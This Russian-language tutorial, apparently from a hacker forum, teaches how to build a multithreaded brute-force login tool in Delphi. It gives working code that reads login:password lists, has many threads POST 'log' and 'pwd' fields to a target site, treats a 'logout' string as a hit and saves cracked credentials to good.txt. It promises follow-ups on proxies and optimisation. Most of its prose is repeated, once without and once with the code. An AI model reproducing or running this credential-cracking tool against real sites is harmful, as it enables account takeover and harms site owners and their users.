Чтобы понять схему работы нашего будущего приложения попробуем всё представить:
по нажатию на кнопку Brute, программа должна начать вызывать нужное количество раз потоки (вызвать процедуру Execute у потока). В свою очередь в процедуре Execute должен стоять некий счётчик, который с каждым вызовом процедуры будет менять логин и пароль. Тем самым мы получим много потоков, которые будут параллельно друг-другу посылать POST - запросы на сервер, обрабатывать их и кидать их либо в goodfile, либо в badfile.
Теперь что касается данных файлов. Кто не читал, обязательно прочтите о синхронизации потоков, т.к. её мы тут будем активно использовать, именно с помощью методов Sinchronize и будут происходить все обращения (записывание) к (в) файлам(ы).
Я надеюсь что общий принцип понятен. А если нет, то станет понятен во время работы. Поехали[1].
Первым делом создадим новый проект (дабы не насиловать исходники старого, да и память освежить всегда полезно).
На форме у нас несколько меток (Loginass, Good, Bad, и 2 счётчика для Good-ов и Bad-ов). Так же компонент UpDown, привязанный к edit1, кнопка открытия файла, кнопка Brute, и memo для записи в него отчётов.
Теперь идём дальше, как обычно сначала обработаем кнопку загрузки файла:
Надо понимать переменную lp класса tstringlist мы должны создать и инициализировать заранее (инициализация в событии создания формы - OnCreate).
Так, теперь создадим поток:
А теперь по-порядку. Приватные переменные созданы для извлечения логина и пароля, а так же для контроля результата. Кто читал первую часть статьи про написание Brute, тот помнит, что логины и пароли мы делили с помощью свойств массива StringList, в частности Delimiter и DelimiterText. Сейчас же, что бы не засорять код и не плодить лишние переменные, будем разделять логины и пароли стандартными строковыми функциями, а ложить результат как раз в эти 2 переменные: logPath и PasPath.
Переменная же res будет служить счётчиком результата. Т.е. если брут прошёл успешно и запрос вернул нам положительный результат, то в переменную res мы положим какое-либо значение, например цифру 1. Если брут не успешен, то цифру -1. В итоге мы обработаем эти значения, и в соответствии с ними предпримем какие-либо действия (например если результат равен 1 - то в файл GOOD.txt будет ложиться логин и пароль).
Теперь что такое конструктор потока? В данном случае у нас конструктор события Create. Это что-то вроде свойства Create у формы, т.е. что мы пропишем в обработчик конструктора, то и выполнится при создании потока.
Сразу его пропишем:
Процедура Synch будет служить процедурой синхронизации (вопросы что да нахуя зачем оставь при себе, надо было читать предыдущие статьи. В частности синхронизацию потоков я описывал до этого).
Вроде разобрались с объявление потока. Теперь создадим обработчик события onclick на кнопке Brute! и напишем там следующее:
//Добавляем глобальные переменные
Теперь ставим курсор на процедуру Execute в потоке, нажимаем Ctrl+Shift+C и переходим на обработчик процедуры.
Там у нас будет обычный POST-запрос с выдранным логином и паролем:
А теперь рассмотрим то, "о чём позже" - критические секции. Тебя наверное заинтересовал этот код:
Объясняю. При работе с потоками, когда работают параллельно несколько потоков, и работают они с одними и теми же переменными, обязательно надо использовать критические секции. Это очень полезная вещь, которая к переменной в настоящий момент допускает лишь 1 поток. В нашем случае в критической секции значение переменной acc увеличивается на 1. Но если потоки работают параллельно, и без этих секций, то acc (а эта переменная означает строку в stringlist'е) будет увеличиваться сразу на 1 несколько раз, в итоге потоки сработают неправильно, выдадут не верный результат. А Критическая секция допускает 1 поток, пропускает его через себя, и лишь потом допускает второй. И ещё, либа критических секций прописывается в библиотеки отдельно, и зовётся он SyncObjs. Надеюсь общий принцип понятен.
В принципе и всё, работа многопоточного брута показана. В данном случае показан самый просто пример. Если будет интерес, сделаю ещё 2-3 части, про прокси и про оптимизацию.
Спасибо за внимание.
по нажатию на кнопку Brute, программа должна начать вызывать нужное количество раз потоки (вызвать процедуру Execute у потока). В свою очередь в процедуре Execute должен стоять некий счётчик, который с каждым вызовом процедуры будет менять логин и пароль. Тем самым мы получим много потоков, которые будут параллельно друг-другу посылать POST - запросы на сервер, обрабатывать их и кидать их либо в goodfile, либо в badfile.
Теперь что касается данных файлов. Кто не читал, обязательно прочтите о синхронизации потоков, т.к. её мы тут будем активно использовать, именно с помощью методов Sinchronize и будут происходить все обращения (записывание) к (в) файлам(ы).
Я надеюсь что общий принцип понятен. А если нет, то станет понятен во время работы. Поехали[1].
Первым делом создадим новый проект (дабы не насиловать исходники старого, да и память освежить всегда полезно).
На форме у нас несколько меток (Loginass, Good, Bad, и 2 счётчика для Good-ов и Bad-ов). Так же компонент UpDown, привязанный к edit1, кнопка открытия файла, кнопка Brute, и memo для записи в него отчётов.
Теперь идём дальше, как обычно сначала обработаем кнопку загрузки файла:
Код:
procedure TForm1.Button1Click(Sender: TObject);
var Op: TOpenDialog; //Переменная типа TOpenDialog
begin
Op:= TOpenDialog.Create(OpenDialog1); // инициализируем переменную
Op:= OpenDialog1; //привязываем к компоненту
if Op.Execute then //Если диалог вызван, то
lp.LoadFromFile(Op.FileName); //В STRINGLIST pl выгружаем данные из файла открытого в диалоге
end;
Так, теперь создадим поток:
Код:
type
MyThread = class(TThread)
private //приватные переменные потока для извлечения логинов и паролей
logPath: string; //извлечение логина
PasPath: string; //извлечение пароля
res: integer; //переменная результата (результат - или брут успешен, или нет)
public
constructor Create(CreateSuspended: Boolean); //конструктор потока
procedure Synch; // Процедура синхронизации
protected
procedure Execute; override; //процедура Execute
end;
Переменная же res будет служить счётчиком результата. Т.е. если брут прошёл успешно и запрос вернул нам положительный результат, то в переменную res мы положим какое-либо значение, например цифру 1. Если брут не успешен, то цифру -1. В итоге мы обработаем эти значения, и в соответствии с ними предпримем какие-либо действия (например если результат равен 1 - то в файл GOOD.txt будет ложиться логин и пароль).
Теперь что такое конструктор потока? В данном случае у нас конструктор события Create. Это что-то вроде свойства Create у формы, т.е. что мы пропишем в обработчик конструктора, то и выполнится при создании потока.
Сразу его пропишем:
Код:
constructor MyThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
Вроде разобрались с объявление потока. Теперь создадим обработчик события onclick на кнопке Brute! и напишем там следующее:
//Добавляем глобальные переменные
Код:
var
GoodFile, BadFile: textfile;
acc, Thread: integer;
work: Boolean;
//процедура onclick кнопки Brute!:
procedure TForm1.Button2Click(Sender: TObject);
begin
AssignFile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt'); //Привязываем переменную GOODFILE к пути проекта+good.txt
Rewrite(GoodFile); //Записываем GOODFILE
CloseFile(GoodFile); //Закрываем GOODFILE
AssignFile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt'); //аналогично поступаем и с BADFile
Rewrite(BadFile);
CloseFile(BadFile);
acc:= -1; //Переменная acc - отвечает за текущую строку в StringList'е с логинами и паролями. Ставим ей значение -1, т.к. в последующем она будет
инкриментирована.
work:= true; // work будет проверять, есть ли ещё не проверенные строки в StringList'е и выдавать значение. Если true- то поток продолжает работу. Если False - то прекращает.
label4.Caption:= '0'; //Счётчик Good'ов
label6.Caption:= '0'; //Счётчик Bad'ов
for Thread:=1 to strtoint(edit1.Text) do //Самый ответственный момент, запускаем потоки. Потоки от одного, до кол-ва введённого пользователем.
MyThread.Create(false); //запуск.
Thread:= strtoint(Edit1.Text); //в переменную Thread ложится количество потоков введённых пользователем (переменная становится счётчиком потоков)
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
lp:= TStringList.Create;
cs:= TCriticalSection.Create; // об этом позже :)
end;
Там у нас будет обычный POST-запрос с выдранным логином и паролем:
Код:
procedure MyThread.Execute;
var
nast: integer; //переменная, обрабатывающая действующую строку с логином и паролем
Param: TStringList; // параметры для POST
Result: TStringList; //переменная для проверки результата
HTTP: TIdHTTP; //переменная типа TIDHTTP
begin
inherited;
while work do //пока work=true делаем:
begin
cs.Enter; //вход в критическую секцию
inc(acc); //инкриментируем переменную acc
if acc < lp.Count then nast:=acc else work:= false; //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false;
cs.Leave; //Выход из критической секции
if work then //если WOrk = true, то
begin
HTTP:= TIdHTTP.Create(nil); //инициализация переменной HTTP как объект класса TIdHTTP
logPath:= Copy(lp[nast],1,pos(':',lp[nast])-1); //Выдираем логин (ВНИМАНИЕ! Вот это и есть то самое динамическое действие в потоке)
PasPath:= Copy(lp[nast], pos(':', lp[nast])+1, length(lp[nast])); //Выдираем пароль
Result:= TStringList.Create; //типичный POST-запрос
param:= TStringList.Create;
param.Add('log='+logPath);
param.Add('pwd='+PasPath);
Result.Text:= http.Post('сайт',param);
if pos('logout',Result.Text) <> 0 then res:=1 else res:=-1; //если в массиве Result есть значение 'logout', то res=1, иначе res=-1.
HTTP.Free; //Освобождаем переменную
Param.Free; //Освобождаем переменную
Synchronize(Synch); // Процедура Synch синхронизирована с помощью метода Synchronize
end;
end;
dec(Thread); // Уменьшаем количество потоков на 1
if Thread=0 then ShowMessage('брутфорс закончен'); // если количество потоков = 0 тогда вызываем сообщение
end;
Код:
cs.Enter; //вход в критическую секцию
inc(acc); //инкриментируем переменную acc
if acc < lp.Count then nast:=acc else work:= false; //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false;
cs.Leave; //Выход из критической секции
Код:
procedure MyThread.Synch;
begin
case res of // если res =
1: begin // 1, то:
form1.Label4.Caption:= inttostr(strtoint(form1.Label4.Caption)+1);
Append(GoodFile); // открываем для записи файл GoodFile
WriteLn(GoodFile, logpath+':'+paspath); // Записываем в него логин : пароль
closefile(GoodFile); // закрываем
end;
-1: begin
form1.Label6.Caption:= inttostr(strtoint(form1.Label6.Caption)+1);
Append(BadFile); // аналогично
WriteLn(BadFile, logpath+':'+paspath);
closefile(BadFile);
end;
end;
end;
Спасибо за внимание.